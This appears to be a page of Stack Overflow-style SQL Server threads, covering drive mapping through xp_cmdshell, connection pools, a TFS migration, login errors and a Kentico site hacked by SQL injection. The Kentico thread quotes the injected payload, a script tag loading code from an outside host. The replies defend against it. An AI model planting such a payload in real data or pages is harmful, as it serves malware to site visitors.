Is there any way to map to a network drive by using a stored procedure? I have tried:
xp_cmdshell 'net use Q: [shared_network_drive] [pwd] /user:[username]'
but I got an error saying something like
'System error 1312 has occurred.'
'A specified logon session does not exist. It may already have been terminated.'
However, when I run the same command in a cmd console in the same box as the SQL server machine, there is no problem at all. It looks like that SQL process does pass correct logon credential information. Any way to do it by SQL SP?
In an other forum someone posted a tip about how to solve the System error 1312 has occurred. problem by specifying the username including its domain like this:
net use Q: \\[host]\[folder] [pwd] /user:[host]\[username]
I tried it and it worked for me.
I spent one hour, but the problem solves: You must specify [HOST]\[username]
If you write like this: u:/username - it doesn't work
Do you have a proxy account set up for xp_cmdshell? If you are not a member of sysadmin, it requires a proxy account. The documentation for xp_cmdshell and sp_xp_cmdshell_proxy_account will explain it in detail, but try executing the following:
EXEC sp_xp_cmdshell_proxy_account 'DOMAIN\Username', 'password'
Of course, replace the user and password information with the account information on your network under which you want this to execute.
WARNING: xp_cmdshell can be a HUGE hole in security. Make sure that at the very least the proxy account that you use has very limited security. Don't use any kind of admin account and don't use an actual user's account.
Why would you even want to do this?!? Even if it is possible, you should be carefully asking yourself why you would want to do so.
My suggestion: don't. My impression is that you need to change your approach--whatever purpose that network drive mapping might serve should be pursued in a more appropriate place outside of the database engine. Once you choose that appropriate place, actually invoking the mapping will probably become trivial.
Rod, you are right. It is a big risk to do that in SQL server and not all the SQL admins would allow to open this door. What I am doing is to migrate legacy process to a scheduled SQL job so that required data will be available for another department's application to fetch data in another scheduled process.
I guess that a windows service job might be a better application to pull data out and transfer the result to the required network drive.
Actually, use Win Scheduled Tasks tool is what I need. I can create a .Net app to do the job and then add the application to the scheduled tasks.
The problem happens when using Distributed File System, no matter which operating system you're using. Instead, get the actual name of a server hosting the DFS content.
Related
I'm having a bit of trouble with an old website that I have inherited from someone.
It throw errors regarding a connection pool being maxed out. When it happens the website would simply then just load the HTML and nothing from the database. When it is left for a while it would then work fine, or when I would recycle the IIS application pool in Plesk.
I have done a lot of reading and research but I can't quite work it out still.
The first thing I read was to look for was any code where the database connection was not closed after it had retrieved the information. I haven't found anything like this so far.
The next thing was I found a stored procedure sp_who2 which I was led to believe would give me the open connection but I'm a little confused as to if this is what I'm actually looking at.
When running sp_who2 I get the below.
Is this an open connection? Or is it simply my connection that is currently looking at the database through SQL Server Management Studio?
This database is currently on a shared hosting platform so I don't have the access needed to run some of the other commands that I found.
Ideally I will move the website off a shared host, but I'd like to find out the reason for this before I do. What I'm hoping to find is where the code needs to be adjusted to make it work.
Is this an open connection? Or is it simply my connection that is currently looking at the database through SQL Server Management Studio?
It's both. Your connection is coming from SSMS, and it is an open connection.
There are ways to get more detailed infomration than this. You can, for example, use sys.dm_exec_connections, along with other DMV's like sys.dm_exec_sessions, and construct a query which tells you a lot of information.
But rather than write a query like that yourself, I suggest you download Adam Machanic's excellent sp_whoisactive. It's just a stored procedure you create, which contains a query to pull lots of useful infomration from the system metadata, with the ability to provide options to customise the output. This procedure is, I would be confident to say, the "default" procedure that everyone eventually uses for this kind of query. I might write my own more limited query against the DMV's from time to time, but most of the time, sp_whoisactive can give you everything you want.
One of the parameters, for example, is #show_sleeping_spids. This will show you connections even if they're not actually running any query. Which is sort of funny given that the procedure name is "who is active", but the usefulness is clear. You would want to execute this procedure like so: exec sp_whoisactive #show_sleeping_spids = 1, and perhaps add other paramters besides. It has powerful filtering options too, but if you don't typically have a lot of connections, you probably can just grab the entire output and eyeball it for relevant info.
If you can't run this because of the permissions available to you by shared hosting, then your options are severely limited. If you are only getting your own session from sp_who2, but you know other stuff is running, then you don't have view server state permission. In such cases, sp_who2 only outputs your own session (because you are allowed to see information about your own session).
I have searched high and low for a solution to this problem to no avail.
Basically, the situation is as follows:
We are currently migrating our existing TFS server to another machine, which has been going well up until now.
Unfortunately i'm unable to complete the configuration of Report server and the likes as I get the following error:
"Failed to add SWSERVER\susan account to the TFSEXECROLE role on the Tfs_Warehouse relational database"
SWSERVER is the name of the previous machine that hosted the TFS server.
The thing is that SWSERVER\susan is an absolete account, and was actually removed as a user account on the previous machine, which I think is a major part of the problem.
From what I can gather is that TFS can still see it in the restored databases and thinks it's a viable account but seeing as the account technically doesn't exist it can't actually do anything with it.
Another part of the question is that if I go to the original (SWSERVER) and remove the SWSERVER\susan user, will that have an effect on how TFS or SQL operate especially if that account (or any other similar account) are linked to anything in either program?
I'd much appreciate any help anyone can provide.
I've hope i've explained my situation well enough but if anybody needs any more information, please don't hesitate to let me know.
You can't remove users, they will fall out of scope anyway, however that is not your problem. Your TFS instance has been moved from one server to another without following the documented procedure.
You need to follow the instruction to Move Team Foundation Server from one environment to another. Although they will be based on the more common move of Domain to Domain you can think of a non-domain joined server as having a domain of the same name as the local computer.
Now this documentation also follow as using the same hardware so you will need to mix and match between Move Team Foundation Server from one environment to another and Move Team Foundation Server from one hardware configuration to another.
While not really that hard you do need to follow all of the steps...
Just want to thank you for your reply and help. As it turns out I was flogging a dead horse with the TFS Reporting setups when I found out that the reports aren't even used currently on the existing setup.
I did however manage to figure out that if I added every user that previously existed as Windows users on the new machine and then used the TFSconfig Identities /change command to change the domain (machine name, in this case) name to that of the new server then I stopped getting the error messages and after 3-4 reinstall attempts all seems to be working the way it should.
This link was incredibly helpful:
http://msdn.microsoft.com/en-us/library/ms404883.aspx
Thanks again!
My site is created in Kentico CMS 5.5 and SQL server 2008. Its running successfully but now these days any one of hacker hack my site and after a long time i found that in many of tables hacker add
></title><script src="http://lilupophilupop.com/sl.php"></script><!--
line in before of ever varchar cell. Suppose i have user table in that case before username it adds this string, before user's email-ID it adds this same string. How i can prevent my sql server by using this hacking. And what is the reason behind this?
How i can prevent my sql server by using this hacking.
First, you need to find out how the hacker got the data into your database (SQL injection, weak account password, ...). Then you can take appropriate actions.
And what is the reason behind this?
The hacker hopes that the varchar field is printed on a web page without being properly encoded first. If that happens, the user's browser will download and execute the script.
This looks like it could be an 'SQL Injection' attack probably aimed at sending your visitors to a malware of fraudlent site.
Unfortunatly as Kentico CMS is commercial software your options are limited. You won't have the source that you can tweak to prevent further attacks commint through the front end.
You may need to
Review the security of your SQL server and ensure that the attacker didn't connect to it directly
Update to the latest security patch for the CMS (if you pay for maintenance it's free)
Get support from Kentico, they may have seen this before
Clean up your data and remove the offending scripts
If none of that is sucessful you may be able to add triggers to the necessary tables in SQL to remove the scripts as they are inserted in the database.
You need to follow the industry best practices : look at
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
For the top 10 Web application security risks.
There are few things to keep in mind that save your database from hacking is given below:
Always use parametrized Sql, pass all values to DB using parametrized query
SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = #ID");
Not
SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = " + value + "");
Similarly, use INSERT, UPDATE, and DELETE query, or use STORED PROCEDURE in same manner.
Only set permission to your specific user
You can on/off ValidateRequest in your page/web.config file as required.
Set Validation both in client/server side so that only valid data will pass to DB
User appropriate data type in your column other than using a common data type (say VARCHAR)
Thanks
I agree with #Heinzi - you should make an effort to figure out the attack vector (how the baddie got into your application). You've found text in your database, but how did it get there? Directly via Sql Server or through the web server OR through Kentico? As you go through this investigative process, make notes of where your security is weak, and firm it up as you go - you're essentially doing a security audit! Doing these steps will lead you to harden your servers against most sort of attacks, hopefully preventing this sort of thing from happening to you again.
I don't know anything about your topology (how your servers are set up and connected to each other and the web), but we can make a start at investigating by looking into the windows log of the machine your sql server is installed on - look for logins happening at times that are questionable, look for odd user accounts, and examine your password and username security. Get more details of things to look into here:Windows Intruder Detection Checklist
If that doesn't turn up anything, look at the Sql server logs, and review your username/password security AND the access to the sql server instance; eg: the sql server should only be accessible from machines that have an explicit reason - your web server, maybe a network admin box, etc - use Windows Firewall to make the access 'tight', so that the sql server instance doesn't just respond to any computer asking. - Here's more details about how to secure sql server.
Check the web.config on your webserver - is the sql server username and password there? Check your ftp logs to see if anyone's tried to read it recently.
Kentico versions 5+ (and maybe earlier) come with the ability to log 'events'. If you have event logging turned on, you should be able to see your templates being modified; go to Site Manager > Administration > Event Log and go back to the date when you first noticed it, and examine the entries for what user account was doing the modifications.
Or even better: if you have access to the db server, you can do a direct table query to get at this data:
SELECT TOP 1000 *
FROM [CMS_EventLog] Look again for entries that seem to happen at odd times from weird Ip addresses or usernames.
And again, it's better to restrict access to all 'sensitive' resources (the Database, Kentico cmsdesk and siteadmin) as best you can. Windows Firewall is pretty great at doing this - tighten down Remote Desktop access, and close as many ports as you can to reduce your servers' exposed surface area. Test your exposure using something as simple as Shields Up! from Gibson Research or the Awesome Nmap security scanner tool.
As an example, my web servers only publicly expose ports 80 and 443 (http and https), and maybe a random high port like 4456 for Ftp if it's needed. I use Windows Firewall to restrict access to Remote Desktop to a handful of IP addresses. The Sql servers have NO public ports, they are tuned to 'stealth' and not reply to any request from a non-authorized IP.
As an anecdotal example - when I put a server live, it has taken as little as 8 hours before bots start trying to log in via remote desktop (you can see thousands of failed attempts in the windows Event Log > security) - as soon as you use windows firewall to ignore non-approved IP addresses, the log stays clear.
As a helpful note: if you are not experienced doing this sort of thing, you may want to procure the services of an experienced Windows system administrator to help you. And please realize that there may be more compromised systems - you may have just found the 'tip of the iceberg', there could be Trojans and Rootkits and other nasties waiting, so you'll need a full security scan too.
I've been asked to find out why a program is failing. I've traced it to a SQL stored procedure. The program passes in the name of a file that the st. proc. presumably tries to read.
However, the SQL server is returning an error indicating that it cannot access the file because access is denied.
My connection string says Integrated Security=SSPI;. I know for sure that the account that I'm logged in with to run the program has access to the file.
How can I find out for sure what user account the SQL server is using to access the file?
The Windows Process Monitor is a good place to start.
http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx
Out of interest what version of SQL, are we talking CLR or just plain ol' sprocs?
It will be using the SQL Server service account to access the file system.
You can look at this article. User USER_NAME to get the SQL Username for the logged in user.
However, it sounds like the problem might be permissions with the FILE, not with the DB. You'll want to check that the appropraite permissions are set on the File and Directory as well as on the DB.
I am developing a web app that connects to a SQL 2000 database. Everything works perfectly on my database (which is actually SQL 2008) but when I try to migrate it onto another server (that's actually running SQL 2000) I get some strange errors.
I'm getting Login Failed for the username that the web app uses, so I did my normal troubleshooting steps...
I reset the password to what it should be, made sure the user was mapped to the database it's trying to connect to. I connected to the database through Enterprise manager using the user name and password and was able to run queries. I reset the SQL server.
I'm fresh out of ideas other than there might be a place in my app that the password is for some reason getting changed. Is there anyway to see what password the SQL server is seeing? I just want to narrow down my search a little.
Either that or does anyone have any other suggestions on how I might be able to fix this?
EDIT: Also, the web app CAN talk to the database, it hits the database to get login credentials and it can login with no problems. The error is coming up later in the app when I try to get more information from the database, like parameters for a report or an export location.
Thanks in advance!
First, the problem is not that the login failed for a user. From your description, the login succeeded. However, you stated that you later got an exception when trying to access certain objects. This sounds like an authorization/permissions issue with the database user to which the login is associated and the objects it's trying to access. Have you tried connecting to the database using Enterprise Manager and the same credentials used by the site and executing the identical query as the web application?
Possibly your SQL server isn't set to allow remote connections?
EDIT: or your firewall doesnt have the right ports opened?
EDIT2:
If your web script is on the same server as the SQL server, the only thing that i can think of is that you have specified an incorrect password, of if you referenced the old server by name (even though it was localhost) and you have not updated it. If the web script is on a different server, check your firewall ports and ensure the sql server is set to allow remote connectioins.
EDIT3:
Appologies, i didn't see your update before i posted the last edit (EDIT2). Thomas is right, give that a go.
Not sure how you're doing your migration but you may want to make sure your sql user is not getting orphaned:
From - http://www.fileformat.info/tip/microsoft/sql_orphan_user.htm
First, make sure that this is the problem. This will lists the orphaned users:
EXEC sp_change_users_login 'Report'
If you already have a login id and password for this user, fix it by doing:
EXEC sp_change_users_login 'Auto_Fix', 'user'
If you want to create a new login id and password for this user, fix it by doing:
EXEC sp_change_users_login 'Auto_Fix', 'user', 'login', 'password'
I found the problem!
It was actually some lingering queries I had in the app. I started populating some down downs differently and the queries were never removed, as soon as I took those out the errors stopped popping up.
Still it's strange that this would not effect the app on my machine but on this other machine would cause all kinds of havok.
Thank you all for your help and suggestions, it really helped narrow down the problem. Thomas gets the accepted answer though because his suggestion pointed me in the right direction.